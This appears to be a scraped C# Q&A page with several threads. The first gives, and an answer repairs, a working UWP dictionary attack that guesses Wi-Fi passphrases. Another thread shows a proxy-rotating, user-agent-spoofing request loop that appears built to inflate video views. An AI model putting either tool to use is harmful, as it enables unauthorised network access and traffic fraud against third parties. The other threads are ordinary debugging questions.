UWP app crashes (but not all the time) during function execution - c#

I'm working on a proof of concept at the moment, just for fun (and for YouTube). The thing I am trying to prove is that I can efficiently "hack" WiFi passwords using UWP and C# for Windows. I don't know of any Wi-Fi cracking tools that are designed specifically for Windows 10 devices (PC, Tablet, XboxOne, Mobile etc)...
So I have actually managed to perform a dictionary style attack (on my own WiFi network of course). However my function seems to completely crash occasionally when running the "hack".
Please consider the fact that this is completely white hat hacking I am talking about here, nothing illegal is intended.
Any help with a reason why this crashes is appreciated...
private async void connectWiFi_Tapped(object sender, TappedRoutedEventArgs e)
{
int success = 0;
var picker = new FileOpenPicker();
picker.ViewMode = PickerViewMode.Thumbnail;
picker.SuggestedStartLocation = PickerLocationId.DocumentsLibrary;
picker.FileTypeFilter.Add(".txt");
StorageFile file = await picker.PickSingleFileAsync();
if (file != null)
{
do
{
string _line;
using (var inputStream = await file.OpenReadAsync())
using (var classicStream = inputStream.AsStreamForRead())
using (var streamReader = new StreamReader(classicStream))
{
while (streamReader.Peek() >= 0)
{
if (success == 0)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = 1;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
}
else
{
success = 0;
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
}
} while (success == 0);
}
}
This is the code that actually runs a dictionary-style "hack" on a selected network. The code to actually connect to the network is as follows:
private async Task<bool> checkWifiPassword(string passPhrase)
{
var credential = new PasswordCredential();
WiFiReconnectionKind reconnectionKind = WiFiReconnectionKind.Manual;
credential.Password = passPhrase;
var selectedNetwork = null as WiFiNetworkDisplay;
foreach (var network in ResultCollection)
{
if (WifiNetworks.SelectedItem.ToString() == network.Ssid)
{
selectedNetwork = network as WiFiNetworkDisplay;
}
}
if (selectedNetwork != null)
{
var result = await firstAdapter.ConnectAsync(selectedNetwork.AvailableNetwork, reconnectionKind, credential);
if (result.ConnectionStatus == WiFiConnectionStatus.Success)
{
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}
Does anyone have any idea what I am missing here?
Any help appreciated.
Thanks

Consider this loop
while (streamReader.Peek() >= 0)
{
if (success == 0)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = 1;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
}
else
{
success = 0;
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
This can lead to and infinite loop:
Imagine the following dictionary file:
abc
bcd
cde
where abc is the correct password.
You peek the stream, you get 97 (decimal ASCII for letter a), fine.
Success is 0, as we just started.
You read the next line.
You check the password, it works, cool.
You set success to 1, show the message, etc.
User closes the message dialog, ShowAsync() returns.
End of first loop iteration, let's start another one.
You peek the stream, you get 98 (ASCII for letter b), non 0, fine.
Success is not zero, so we skip the entire body of that while, end of second loop iteration.
You peek the stream again, the pointer did not move since the last peek, so you're going to get that same 98 again.
And you skip again, infinite loop.
EDIT - there is actually another infinite loop there
I will not detail this that much, but take a look at the outer do-while loop. That loop runs until success. But if the inner loop exhausts all possibilities and does not find a correct password, success will remain 0. That means the do while will run once again, the inner loop will go through the file again, which obviously will not find a solution again, and so on.
Solution
There are many ways that code could be cleaned up, but the quick fix is to break after msg.ShowAsync();.
More details (that would belong to codereview.stackexchange.com):
Also I would not Peek the StreamReader. Use EndOfStream for that job. And you can skip the inner if, you simply break if you found a correct password. You can drop the outer loop as well. If you completed the inner loop without setting the success flag (which in turn should be a boolean) you can report to the user that no password worked.
I would do something along the lines of: (take it as a pseudo code, might not compile as it is)
private async void connectWiFi_Tapped(object sender, TappedRoutedEventArgs e)
{
var picker = new FileOpenPicker();
picker.ViewMode = PickerViewMode.Thumbnail;
picker.SuggestedStartLocation = PickerLocationId.DocumentsLibrary;
picker.FileTypeFilter.Add(".txt");
StorageFile file = await picker.PickSingleFileAsync();
if (file != null)
{
bool success = false;
string _line;
using (var inputStream = await file.OpenReadAsync())
using (var classicStream = inputStream.AsStreamForRead())
using (var streamReader = new StreamReader(classicStream))
{
while (!streamReader.EndOfStream)
{
_line = streamReader.ReadLine();
setConnectionStatus("Status: Checking WiFi network using passphrase " + _line);
if (await checkWifiPassword(_line) == true)
{
success = true;
setConnectionStatus("SUCCESS: Password successfully identified as " + _line);
firstAdapter.Disconnect();
var msg = new MessageDialog(connectionStatus.Text);
await msg.ShowAsync();
break;
}
else
{
setConnectionStatus("FAIL: Password " + _line + "is incorrect. Checking next password...");
}
}
}
if(!success){ /* report to the user*/ }
}

Related

Getting AccessDenied when enumerating BLE characteristics

I am trying to convert a working UWP app to a WPF one using .NET 6 with Target framework monikers.
I can scan BLE devices with no issues and connect to them, however I get an AccessDenied status at the next GetCharacteristicsAsync's call
I have checked characteristics properties and they all have the flag corresponding to the operation I am doing.
My OS version is 1943 and my target version is net6.0-windows10.0.19041.0
I have tried using BLuetoothCacheMode.Cached and Uncached: same result.
Edit:I have tried to call RequestAccessAsync and it does not seem to do anything. However this same method returns Allowed.
Here is a piece of code I use, it is inpired by the microsoft docs.
public async Task<byte[]> ReadAsync(string serviceUuid, string characteristicUuid)
{
using var bluetoothLEDevice = await BluetoothLEDevice.FromIdAsync(_device.DeviceId);
GattDeviceServicesResult result1 = await bluetoothLEDevice.GetGattServicesAsync(BluetoothCacheMode.Cached);
if (result1.Status == GattCommunicationStatus.Success)
{
foreach (var service in result1.Services)
{
if (service.Uuid.ToString() == serviceUuid)
{
GattCharacteristicsResult result2 = await service.GetCharacteristicsAsync(BluetoothCacheMode.Cached);
if (result2.Status == GattCommunicationStatus.Success)
{
foreach (var characteristic in result2.Characteristics)
{
if (characteristic.Uuid.ToString() == characteristicUuid)
{
var result = await characteristic.ReadValueAsync();
if (result.Status == GattCommunicationStatus.Success)
{
var reader = DataReader.FromBuffer(result.Value);
byte[] contents = new byte[reader.UnconsumedBufferLength];
reader.ReadBytes(contents);
return contents;
}
else
{
throw new Exception("Read: Cannot read characteristic: " + characteristic + " " + Enum.GetName(typeof(GattCommunicationStatus), result.Status));
}
}
}
}
else
{
// This exception is thrown
throw new Exception("Read: Cannot get characteristics for service: " + service.Uuid + " " + Enum.GetName(typeof(GattCommunicationStatus), result2.Status));
}
}
}
}
bluetoothLEDevice.Dispose();
return null;
}

Error 0x87DD0005 when implementing Xbox Live services

I just got done adding Xbox support code to my project, and have run into at least two issues.
The first involves save data sync which is working just fine, however when the game reads the user's login data on Windows it behaves as if login has not been completed - no gamertag is displayed in the corner, and the login provider throws error 0x87DD0005 regardless of the number of retry attempts.
Execution of the code is just fine on Xbox - only Windows seems to be affected by this. I'm also targeting the creator's showcase initially (or at least until I can get to where I'm ready for another run at ID#Xbox) so achievements and the like aren't a concern right now.
The following is the code I'm using (and in no particular order):
public void doStartup()
{
getData(-1);
for (int i = 0; i <= 5; i++)
{
getData(i);
}
ContentViewport.Source = new Uri("ms-appx-web:///logo.html");
}
public async void getData(int savefileId)
{
var users = await Windows.System.User.FindAllAsync();
string c_saveBlobName = "Advent";
//string c_saveContainerDisplayName = "GameSave";
string c_saveContainerName = "file" + savefileId;
if (savefileId == -1) c_saveContainerName = "config";
if (savefileId == 0) c_saveContainerName = "global";
GameSaveProvider gameSaveProvider;
GameSaveProviderGetResult gameSaveTask = await GameSaveProvider.GetForUserAsync(users[0], "00000000-0000-0000-0000-00006d0be05f");
//Parameters
//Windows.System.User user
//string SCID
if (gameSaveTask.Status == GameSaveErrorStatus.Ok)
{
gameSaveProvider = gameSaveTask.Value;
}
else
{
return;
//throw new Exception("Game Save Provider Initialization failed");;
}
//Now you have a GameSaveProvider
//Next you need to call CreateContainer to get a GameSaveContainer
GameSaveContainer gameSaveContainer = gameSaveProvider.CreateContainer(c_saveContainerName);
//Parameter
//string name (name of the GameSaveContainer Created)
//form an array of strings containing the blob names you would like to read.
string[] blobsToRead = new string[] { c_saveBlobName };
// GetAsync allocates a new Dictionary to hold the retrieved data. You can also use ReadAsync
// to provide your own preallocated Dictionary.
GameSaveBlobGetResult result = await gameSaveContainer.GetAsync(blobsToRead);
string loadedData = "";
//Check status to make sure data was read from the container
if (result.Status == GameSaveErrorStatus.Ok)
{
//prepare a buffer to receive blob
IBuffer loadedBuffer;
//retrieve the named blob from the GetAsync result, place it in loaded buffer.
result.Value.TryGetValue(c_saveBlobName, out loadedBuffer);
if (loadedBuffer == null)
{
//throw new Exception(String.Format("Didn't find expected blob \"{0}\" in the loaded data.", c_saveBlobName));
}
DataReader reader = DataReader.FromBuffer(loadedBuffer);
loadedData = reader.ReadString(loadedBuffer.Length);
if (savefileId == -1)
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.TemporaryFolder.Path + "\\config.json", loadedData);
}
catch { }
}
else if (savefileId == 0)
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.TemporaryFolder.Path + "\\global.json", loadedData);
}
catch { }
}
else
{
try
{
System.IO.File.WriteAllText(ApplicationData.Current.TemporaryFolder.Path + "\\file" + savefileId + ".json", loadedData);
}
catch { }
}
}
}
public async void InitializeXboxGamer()
{
try
{
XboxLiveUser user = new XboxLiveUser();
if (user.IsSignedIn == false)
{
SignInResult result = await user.SignInSilentlyAsync(Window.Current.Dispatcher);
if (result.Status == SignInStatus.UserInteractionRequired)
{
result = await user.SignInAsync(Window.Current.Dispatcher);
}
}
System.IO.File.WriteAllText(ApplicationData.Current.TemporaryFolder.Path + "\\curUser.txt", user.Gamertag);
doStartup();
}
catch (Exception ex)
{
// TODO: log an error here
}
}
I finally managed to figure out why the Xbox was working but Windows was not: it was a platform support issue. In the game's creator's dashboard for Xbox Live there's a settings window that allows the support of the game to be determined. Because I originally had separate builds for Xbox and Windows, only the Xbox support item was checked, so I went ahead and also checked off for Desktop support. After saving the changes, I resubmitted with the new configuration and now it works properly.

Rapidly Increasing Memory usage C#

I have code that basically opens a webpage + .ts file from a link and repeats it, but the problem is it increases memory usage each time and never removes the old data. After 2 Hours it uses more than 2GB.
Any ideas on how I can fix this issue?
I'm using "Leaf.Xnet" Library for requests and this is how I create my threads:
new Thread(new ThreadStart(WebHelper.Check)).Start();
Main code:
public static void Check()
{
HttpRequest request = null;
while (Form1.isRuning)
{
Application.DoEvents();
try
{
request = new HttpRequest();
if (!ProxyManager.updating)
{
switch (ProxyManager.curProxyType)
{
case ProxyManager.proxyType.http:
request.Proxy = HttpProxyClient.Parse(ProxyManager.NextProxy(ProxyManager.proxyType.http));
break;
case ProxyManager.proxyType.socks4:
request.Proxy = Socks4ProxyClient.Parse(ProxyManager.NextProxy(ProxyManager.proxyType.socks4));
break;
case ProxyManager.proxyType.socks5:
request.Proxy = Socks5ProxyClient.Parse(ProxyManager.NextProxy(ProxyManager.proxyType.socks5));
break;
}
}
else
{
Thread.Sleep(2000);
Check();
}
request.UserAgentRandomize();
request.AddHeader(HttpHeader.Referer, "https://somesite.com");
request.KeepAlive = true;
request.ConnectTimeout = Form1.timeOut;
request.Reconnect = true;
string html = request.Get(Form1.link, null).ToString();
string auth = html.Substring(",[{\"src\":\"", "\"");
string sign = html.Substring("144p.apt?wmsAuthSign=", "\"");
if (auth != null && sign != null)
{
string auth2 = "";
foreach (char item in auth)
{
if (item != '\\')
auth2 += item;
}
auth = auth2;
string cdn = auth.Substring("https://", ".");
string id = auth.Substring("video/", "-");
if (cdn != null && id != null)
{
Random rnd = new Random();
request.Get(auth);
Form1.sended++;
WriteStat();
}
html = null;
auth = null;
auth2 = null;
sign = null;
}
}
catch (HttpException)
{
Check();
}
catch (ProxyException)
{
Check();
}
}
}
I am not entirely sure if this will fix your problem but for each thread that you start, you pretty much call an infinite number of executions of Check(). Since Check contains a while loop, the thread will run whatever is in side forever anyway, and now you're calling the method again on top of it. This means that everything that was created in the scope of the Check method will not be garbage collected and will increase your memory.
Replace all calls to Check() with continue which will stop the execution in the while loop and start over.
Also, consider not using Threads, but instead use Tasks.
Also you do not dispose your HttpRequest.

Task does not always return upon completion

So I am trying to build a program to control a machine. Communications with said machine is via a serial port for which I have written a driver. Continuous polling to the machine is necessary for status feedback etc. In my program I have a dedicated ExecutionEngine() class to handle serial send and receive. I also need to have two separate control sequences running, which I have put into methods RunSequenceA() and RunSequenceB() respectively. During normal operation, all three methods need to run until both control sequences finish, at which point the StopSequence() method is called. My issue is that sometimes, for whatever reason, the StopSequence() method is never called, leaving my ExecutionEngine() method in an infinite loop!
Code for ExecutionEngine():
private static void ExecutionEngine()
{
// Clear both lists in case they have old data
_commandList.Clear();
_pollingList.Clear();
// Poll while user has not yet clicked "STOP"
while (!_cTokenSource.Token.IsCancellationRequested)
{
// If there are commands to be sent, send them first
if (_commandList.Count > 0)
{
Command[] tempCommandArray;
lock (_commandList)
tempCommandArray = _commandList.ToArray();
foreach (var c in tempCommandArray)
{
if (_cTokenSource.Token.IsCancellationRequested)
break;
var response = SerialDriver.ComCycle(c.CommandBytes, _serialPort);
var success = CheckErrorReturn(response, false);
if (success)
{
AddPolling(c);
RemoveCommand(c);
}
}
}
// Do polling operation on applicable controllers
if (_pollingList.Count > 0)
{
Command[] tempPollingArray;
lock (_pollingList)
tempPollingArray = _pollingList.ToArray();
foreach (var c in tempPollingArray)
{
if (_cTokenSource.Token.IsCancellationRequested)
break;
var response = SerialDriver.ComCycle(c.PollBytes, _serialPort);
var success = ProcessPollReturn(response);
if (success)
{
c.FlagDone();
RemovePolling(c);
}
}
}
if (_commandList.Count + _pollingList.Count == 0)
{
// Will get stuck here if neither list gets new items added
Console.WriteLine("Bad place");
Thread.Sleep(500);
}
}
// Cancellation has been requested
lock (_commandList)
_commandList.Clear();
lock (_pollingList)
_pollingList.Clear();
ResetTriggers();
var endCommand = new Command("GL_SYSCMD", 0);
SerialDriver.ComCycle(endCommand.CommandBytes, _serialPort);
_serialPort.Close();
_vm.SequenceRunning = false;
return;
}
Code for running sequences:
private static async Task RunSequencesAsync()
{
var taskArray = new Task[2];
var a = new Action(RunSequenceA);
var b = new Action(RunSequenceB);
taskArray[0] = Task.Run(a);
taskArray[1] = Task.Run(b);
await Task.WhenAll(taskArray).ConfigureAwait(continueOnCapturedContext: false);
// Sometimes this never fires, WHY?
UpdateStatus("All done!");
StopSequence();
}
// Run A sequence
internal static void RunSequenceA()
{
if (_sequenceA1 != null && _sequenceA1.Count > 0)
{
foreach (var s in _sequenceA1)
{
if (_cTokenSource.Token.IsCancellationRequested)
return;
s.Execute();
if (s.Reference != null && TriggerStepCompleted != null)
TriggerStepCompleted(s, EventArgs.Empty);
}
// This part always fires
Console.WriteLine("Sequence A finished");
return;
}
else
return;
}
And finally, the methods to start and stop everything:
private static async Task StartSequenceAsync()
{
_serialPort.PortName = _vm.SelectedComPort;
_serialPort.Open();
_serialPort.DiscardInBuffer();
_serialPort.DiscardOutBuffer();
// Start
_cTokenSource = new CancellationTokenSource();
_vm.SequenceRunning = true;
var taskArray = new Task[2];
taskArray[0] = Task.Run(() => ExecutionEngine());
Thread.Sleep(50);
taskArray[1] = Task.Run(() => RunSequencesAsync());
await Task.WhenAll(taskArray).ConfigureAwait(continueOnCapturedContext: false);
}
private static void StopSequence()
{
_cTokenSource.Cancel();
}
To reiterate, the problem doesn't happen every time. In fact, most times the program runs fine. It seems that problems only arise if I manually call the StopSequence() method half way through execution. Then it's 50/50 as to whether the problem shows up. I'm pretty sure my issue is threading related, but not sure exactly what is going wrong. Any help pointing me in the right direction will be greatly appreciated!

C# Task.WaitAll isn't waiting

My aim is to download images from an Amazon Web Services bucket.
I have the following code function which downloads multiple images at once:
public static void DownloadFilesFromAWS(string bucketName, List<string> imageNames)
{
int batchSize = 50;
int maxDownloadMilliseconds = 10000;
List<Task> tasks = new List<Task>();
for (int i = 0; i < imageNames.Count; i++)
{
string imageName = imageNames[i];
Task task = Task.Run(() => GetFile(bucketName, imageName));
tasks.Add(task);
if (tasks.Count > 0 && tasks.Count % batchSize == 0)
{
Task.WaitAll(tasks.ToArray(), maxDownloadMilliseconds);//wait to download
tasks.Clear();
}
}
//if there are any left, wait for them
Task.WaitAll(tasks.ToArray(), maxDownloadMilliseconds);
}
private static void GetFile(string bucketName, string filename)
{
try
{
using (AmazonS3Client awsClient = new AmazonS3Client(Amazon.RegionEndpoint.EUWest1))
{
string key = Path.GetFileName(filename);
GetObjectRequest getObjectRequest = new GetObjectRequest() {
BucketName = bucketName,
Key = key
};
using (GetObjectResponse response = awsClient.GetObject(getObjectRequest))
{
string directory = Path.GetDirectoryName(filename);
if (!Directory.Exists(directory))
{
Directory.CreateDirectory(directory);
}
if (!File.Exists(filename))
{
response.WriteResponseStreamToFile(filename);
}
}
}
}
catch (AmazonS3Exception amazonS3Exception)
{
if (amazonS3Exception.ErrorCode == "NoSuchKey")
{
return;
}
if (amazonS3Exception.ErrorCode != null && (amazonS3Exception.ErrorCode.Equals("InvalidAccessKeyId") || amazonS3Exception.ErrorCode.Equals("InvalidSecurity")))
{
// Log AWS invalid credentials
throw new ApplicationException("AWS Invalid Credentials");
}
else
{
// Log generic AWS exception
throw new ApplicationException("AWS Exception: " + amazonS3Exception.Message);
}
}
catch
{
//
}
}
The downloading of the images all works fine but the Task.WaitAll seems to be ignored and the rest of the code continues to be executed - meaning I try to get files that are currently non existent (as they've not yet been downloaded).
I found this answer to another question which seems to be the same as mine. I tried to use the answer to change my code but it still wouldn't wait for all files to be downloaded.
Can anyone tell me where I am going wrong?
The code behaves as expected. Task.WaitAll returns after ten seconds even when not all files have been downloaded, because you have specified a timeout of 10 seconds (10000 milliseconds) in variable maxDownloadMilliseconds.
If you really want to wait for all downloads to finish, call Task.WaitAll without specifying a timeout.
Use
Task.WaitAll(tasks.ToArray());//wait to download
at both places.
To see some good explanations on how to implement parallel downloads while not stressing the system (only have a maximum number of parallel downloads), see the answer at How can I limit Parallel.ForEach?

Categories

Resources